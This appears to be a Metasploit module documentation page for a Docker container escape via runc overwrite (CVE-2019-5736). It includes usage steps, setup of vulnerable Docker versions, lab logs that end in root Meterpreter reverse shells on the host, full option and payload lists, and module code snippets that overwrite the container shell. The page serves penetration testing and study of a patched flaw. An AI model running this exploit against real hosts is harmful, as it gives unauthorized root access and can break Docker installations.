Docker Container Escape Via runC Overwrite - Metasploit


This page contains detailed information about how to use the exploit/linux/local/docker_runc_escape metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Docker Container Escape Via runC Overwrite
Module: exploit/linux/local/docker_runc_escape
Source code: modules/exploits/linux/local/docker_runc_escape.rb
Disclosure date: 2019-01-01
Last modification time: 2021-06-30 18:13:35 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-5736, CVE-2019-5736

This module leverages a flaw in runc to escape a Docker container and get command execution on the host as root. This vulnerability is identified as CVE-2019-5736. It overwrites the runc binary with the payload and wait for someone to use docker exec to get into the container. This will trigger the payload execution. Note that executing this exploit carries important risks regarding the Docker installation integrity on the target and inside the container ('Side Effects' section in the documentation).

Module Ranking and Traits


Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-service-down: Module may crash the service, and the service remains down.
  • service-resource-loss: Module may cause a resource (such as a file or data in a database) to be unavailable for the service.
  • os-resource-loss: Modules may cause a resource (such as a file) to be unavailable for the OS.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/docker_runc_escape
msf exploit(docker_runc_escape) > show targets
    ... a list of targets ...
msf exploit(docker_runc_escape) > set TARGET target-id
msf exploit(docker_runc_escape) > show options
    ... show and set options ...
msf exploit(docker_runc_escape) > set SESSION session-id
msf exploit(docker_runc_escape) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


Description

This module leverages a flaw in runc to escape a Docker container and get command execution on the host as root. This vulnerability is identified as CVE-2019-5736. It overwrites the runc binary with the payload and wait for someone to use docker exec to get into the container. This will trigger the payload execution. Note that a valid session as the root user inside the container is needed.

WARNING: Executing this exploit carries important risks regarding the Docker installation integrity on the target and inside the container (see Side Effects section).

runc has been fixed in version 1.0-rc7 and included in Docker version 18.09.2.

This module has been successfully tested on Ubuntu 18.04.5 x64 and Fedora 28 x64. However, it doesn't seem to work on CentOS 7 x64. Also, it looks like the exploit is more reliable on Fedora than Ubuntu.

Installation

Ubuntu 18.04.5 x64 with Docker version 18.03.1


curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
apt-get update
apt-get install docker-ce=18.03.1~ce~3-0~ubuntu

Fedora 28 x64 with Docker version 18.03.1


dnf remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-selinux docker-engine-selinux docker-engine
dnf -y install dnf-plugins-core
dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo
dnf -y install docker-ce-18.03.1.ce-3.fc28

Side Effects

runc


The host runc binary will be overwritten during exploitation. The module takes care of making a backup before the overwrite and restoring it when the new session is established. However, it might not work as expected and something could go wrong during the exploitation, which might prevent the session being created. In this case, runc won't be restored and the the host will no longer be able to run Docker containers. This process will need to be done manually somehow by following the instruction displayed during the module execution: cp <path to docker-runc backup> <path to docker-runc>

shell


The shell binary inside the container (set by the OVERWRITE option) will also be overwritten. However, the module makes a backup prior to the overwrite and restores it automatically. This process is relatively safe, but something can still go wrong along the way. Again, this will need to be done manually, using the information displayed during the module execution: cp <path to the shell binary backup> <path to the shell binary>

Verification Steps


  1. Install Docker (see Installation)
  2. Start msfconsole
  3. Get a session as root inside a Docker container
  4. Do: use linux/local/docker_runc_escape
  5. Do: set LHOST <ip>
  6. Do: set LPORT <port>
  7. Do: set session <session nb>
  8. Do: run
  9. On the host target, run docker exec -ti <container_id> /bin/sh
  10. You should get a Meterpreter session.
  11. Verify you escaped the Docker container
  12. Verify WRITABLEDIR on the host is empty (cleanup successful)
  13. Verify docker-runc has been restored by running docker-runc --version

Options


OVERWRITE

The shell that is going to be overwriten with #!/proc/self/exe. This will be triggered by a user running docker exec -ti <container_id> <overwritten shell>. Default is /bin/sh.

SHELL

The shell the module will use in scripts (must be different than OVERWRITE shell). During the execution, some shell script have to be executed in the Docker container. Since the main OVERWRITE shell has been overwritten, another shell must be used. Default is /bin/bash.

WRITABLEDIR

A directory where you can write files. Default is /tmp.

Docker version 18.03.1-ce (build 9ee9f40) on Ubuntu 18.04.5 LTS


msf6 exploit(linux/local/docker_runc_escape) > options

Module options (exploit/linux/local/docker_runc_escape):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   OVERWRITE    /bin/sh          yes       Shell to overwrite with /proc/self/exe
   SESSION      1                yes       The session to run this module on.
   SHELL        /bin/bash        yes       Shell to use in exploit script (must be different than OVERWRITE shell)
   WRITABLEDIR  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.144.1    yes       The listen address (an interface may be specified)
   LPORT  4455             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (Dropper) x64


msf6 exploit(linux/local/docker_runc_escape) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.144.1:4455
[*] Make a backup of /bin/sh (/tmp/wSCJRb1)
[*] Overwrite /bin/sh
[*] Upload payload
[*] Writing '/tmp/pMQAa0FYW' (250 bytes) ...
[*] Upload exploit
[*] Writing '/tmp/IP8LtTm7' (8672 bytes) ...
[*] Upload loop shell script ('runc' will be backed up to /tmp/MKM9z)
[*] Writing '/tmp/k41AYY' (344 bytes) ...
[*] Launch exploit loop and wait for 300 sec.
[*] Sending stage (3012548 bytes) to 192.168.144.135
[+] Deleted /tmp/pMQAa0FYW
[+] Deleted /tmp/IP8LtTm7
[+] Deleted /tmp/k41AYY
[+] Original runc binary restored
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.135:51916) at 2021-05-21 19:01:03 +0200
[*] Done. Waiting a bit more to make sure everything is setup...
[+] Session ready!

meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 192.168.144.135
OS           : Ubuntu 18.04 (Linux 5.4.0-72-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > [*] Shutting down Meterpreter...

Docker version 18.03.1-ce (build 9ee9f40) on Fedora 28 x64


msf6 exploit(linux/local/docker_runc_escape) > options

Module options (exploit/linux/local/docker_runc_escape):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   OVERWRITE    /bin/sh          yes       Shell to overwrite with /proc/self/exe
   SESSION      1                yes       The session to run this module on.
   SHELL        /bin/bash        yes       Shell to use in exploit script (must be different than OVERWRITE shell)
   WRITABLEDIR  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.144.1    yes       The listen address (an interface may be specified)
   LPORT  4455             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (Dropper) x64


msf6 exploit(linux/local/docker_runc_escape) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.144.1:4455
[*] Make a backup of /bin/sh (/tmp/VHR0jdR8V)
[*] Overwrite /bin/sh
[*] Upload payload
[*] Writing '/tmp/jPfX1LCnzb' (250 bytes) ...
[*] Upload exploit
[*] Writing '/tmp/aI0aDmv91K' (8744 bytes) ...
[*] Upload loop shell script ('runc' will be backed up to /tmp/IevTLfZ)
[*] Writing '/tmp/Rba74' (351 bytes) ...
[*] Launch exploit loop and wait for 300 sec.
[*] Sending stage (3012548 bytes) to 192.168.144.219
[+] Deleted /tmp/jPfX1LCnzb
[+] Deleted /tmp/aI0aDmv91K
[+] Deleted /tmp/Rba74
[+] Original runc binary restored
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.219:60124) at 2021-05-21 18:34:46 +0200
[*] Done. Waiting a bit more to make sure everything is setup...
[+] Session ready!

meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Fedora 28 (Linux 5.0.16-100.fc28.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > [*] Shutting down Meterpreter...

Go back to menu.

Msfconsole Usage


Here is how the linux/local/docker_runc_escape exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/docker_runc_escape

[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/docker_runc_escape) > show info

       Name: Docker Container Escape Via runC Overwrite
     Module: exploit/linux/local/docker_runc_escape
   Platform: Linux, Unix
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2019-01-01

Provided by:
  Adam Iwaniuk
  Borys Pop��awski
  Nick Frichette
  Christophe De La Fuente
  Spencer McIntyre

Module side effects:
 artifacts-on-disk

Module stability:
 crash-service-down
 service-resource-loss
 os-resource-loss

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix (In-Memory)
  1   Linux (Dropper) x64
  2   Linux (Dropper) x86

Check supported:
  No

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  OVERWRITE    /bin/sh          yes       Shell to overwrite with '#!/proc/self/exe'
  SESSION                       yes       The session to run this module on.
  SHELL        /bin/bash        yes       Shell to use in scripts (must be different than OVERWRITE shell)
  WRITABLEDIR  /tmp             yes       A directory where you can write files.

Payload information:

Description:
  This module leverages a flaw in `runc` to escape a Docker container 
  and get command execution on the host as root. This vulnerability is 
  identified as CVE-2019-5736. It overwrites the `runc` binary with 
  the payload and wait for someone to use `docker exec` to get into 
  the container. This will trigger the payload execution. Note that 
  executing this exploit carries important risks regarding the Docker 
  installation integrity on the target and inside the container ('Side 
  Effects' section in the documentation).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-5736
  https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html
  https://www.openwall.com/lists/oss-security/2019/02/13/3
  https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/

Module Options


This is a complete list of options available in the linux/local/docker_runc_escape exploit:

msf6 exploit(linux/local/docker_runc_escape) > show options

Module options (exploit/linux/local/docker_runc_escape):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   OVERWRITE    /bin/sh          yes       Shell to overwrite with '#!/proc/self/exe'
   SESSION                       yes       The session to run this module on.
   SHELL        /bin/bash        yes       Shell to use in scripts (must be different than OVERWRITE shell)
   WRITABLEDIR  /tmp             yes       A directory where you can write files.

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Linux (Dropper) x64

Advanced Options


Here is a complete list of advanced options supported by the linux/local/docker_runc_escape exploit:

msf6 exploit(linux/local/docker_runc_escape) > show advanced

Module advanced options (exploit/linux/local/docker_runc_escape):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                300              no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  true             no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/docker_runc_escape module can exploit:

msf6 exploit(linux/local/docker_runc_escape) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix (In-Memory)
   1   Linux (Dropper) x64
   2   Linux (Dropper) x86

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/docker_runc_escape exploit:

msf6 exploit(linux/local/docker_runc_escape) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   4   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   5   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   6   payload/linux/x64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/x64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/x64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   10  payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   11  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   12  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   13  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   14  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   15  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/docker_runc_escape exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/docker_runc_escape) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to backup <SHELL> to <SHELL_BAK>: <E>


Here is a relevant code snippet related to the "Unable to backup <SHELL> to <SHELL_BAK>: <E>" error message:

256:	    # This file will be restored if the loop script succeed. Otherwise, the
257:	    # cleanup method will take care of it.
258:	    begin
259:	      copy_file(@shell, @shell_bak)
260:	    rescue Rex::Post::Meterpreter::RequestError => e
261:	      fail_with(Failure::NoAccess, "Unable to backup #{@shell} to #{@shell_bak}: #{e}")
262:	    end
263:	
264:	    print_status("Overwrite #{@shell}")
265:	    begin
266:	      write_file(@shell, '#!/proc/self/exe')

Unable to overwrite <SHELL>: <E>


Here is a relevant code snippet related to the "Unable to overwrite <SHELL>: <E>" error message:

263:	
264:	    print_status("Overwrite #{@shell}")
265:	    begin
266:	      write_file(@shell, '#!/proc/self/exe')
267:	    rescue Rex::Post::Meterpreter::RequestError => e
268:	      fail_with(Failure::NoAccess, "Unable to overwrite #{@shell}: #{e}")
269:	    end
270:	  end
271:	
272:	  def setup_exploit(path)
273:	    print_status('Upload payload')

Unable to upload <PATH>: <E>


Here is a relevant code snippet related to the "Unable to upload <PATH>: <E>" error message:

300:	  def upload(path, data)
301:	    print_status("Writing '#{path}' (#{data.size} bytes) ...")
302:	    begin
303:	      write_file(path, data)
304:	    rescue Rex::Post::Meterpreter::RequestError => e
305:	      fail_with(Failure::NoAccess, "Unable to upload #{path}: #{e}")
306:	    end
307:	    register_file_for_cleanup(path)
308:	  end
309:	
310:	  def upload_and_chmodx(path, data)

The session architecture is not compatible: <TARGET_ARCH>


Here is a relevant code snippet related to the "The session architecture is not compatible: <TARGET_ARCH>" error message:

321:	    when ARCH_X64
322:	      exploit_data('CVE-2019-5736', 'CVE-2019-5736.x64.bin')
323:	    when ARCH_X86
324:	      exploit_data('CVE-2019-5736', 'CVE-2019-5736.x86.bin')
325:	    else
326:	      fail_with(Failure::BadConfig, "The session architecture is not compatible: #{target_arch}")
327:	    end
328:	  end
329:	
330:	  def loop_script(exe_path:, payload_path:)
331:	    <<~SHELL

Unable to restore <SHELL>: <E>


Here is a relevant code snippet related to the "Unable to restore <SHELL>: <E>" error message:

355:	      copy_file(@shell_bak, @shell)
356:	      chmod(@shell, 0o755)
357:	      print_good('Container shell restored')
358:	    end
359:	  rescue Rex::Post::Meterpreter::RequestError => e
360:	    fail_with(Failure::NoAccess, "Unable to restore #{@shell}: #{e}")
361:	  ensure
362:	    # Make sure we delete the backup file
363:	    begin
364:	      rm_f(@shell_bak) if @shell_bak
365:	    rescue Rex::Post::Meterpreter::RequestError => e

Unable to delete <SHELL_BAK>: <E>


Here is a relevant code snippet related to the "Unable to delete <SHELL_BAK>: <E>" error message:

361:	  ensure
362:	    # Make sure we delete the backup file
363:	    begin
364:	      rm_f(@shell_bak) if @shell_bak
365:	    rescue Rex::Post::Meterpreter::RequestError => e
366:	      fail_with(Failure::NoAccess, "Unable to delete #{@shell_bak}: #{e}")
367:	    end
368:	  end
369:	
370:	  def on_new_session(new_session)
371:	    super

Unable to delete <RUNC_PATH>: <E>


Here is a relevant code snippet related to the "Unable to delete <RUNC_PATH>: <E>" error message:

380:	    end
381:	
382:	    begin
383:	      rm_f(runc_path)
384:	    rescue Rex::Post::Meterpreter::RequestError => e
385:	      print_error("Unable to delete #{runc_path}: #{e}")
386:	      return
387:	    end
388:	    if copy_file(@runc_backup_path, runc_path)
389:	      chmod(runc_path, 0o755)
390:	      print_good('Original runc binary restored')

Unable to delete <RUNC_BACKUP_PATH>: <E>


Here is a relevant code snippet related to the "Unable to delete <RUNC_BACKUP_PATH>: <E>" error message:

389:	      chmod(runc_path, 0o755)
390:	      print_good('Original runc binary restored')
391:	      begin
392:	        rm_f(@runc_backup_path)
393:	      rescue Rex::Post::Meterpreter::RequestError => e
394:	        print_error("Unable to delete #{@runc_backup_path}: #{e}")
395:	      end
396:	    else
397:	      print_error(
398:	        "Unable to restore the original runc binary #{@runc_backup_path}\n"\
399:	        "This must be done manually with: 'cp #{@runc_backup_path} runc_path'"

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Adam Iwaniuk
  • Borys PopÅ‚awski
  • Nick Frichette
  • Christophe De La Fuente
  • Spencer McIntyre

Version


This page has been produced using Metasploit Framework version 6.1.41-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.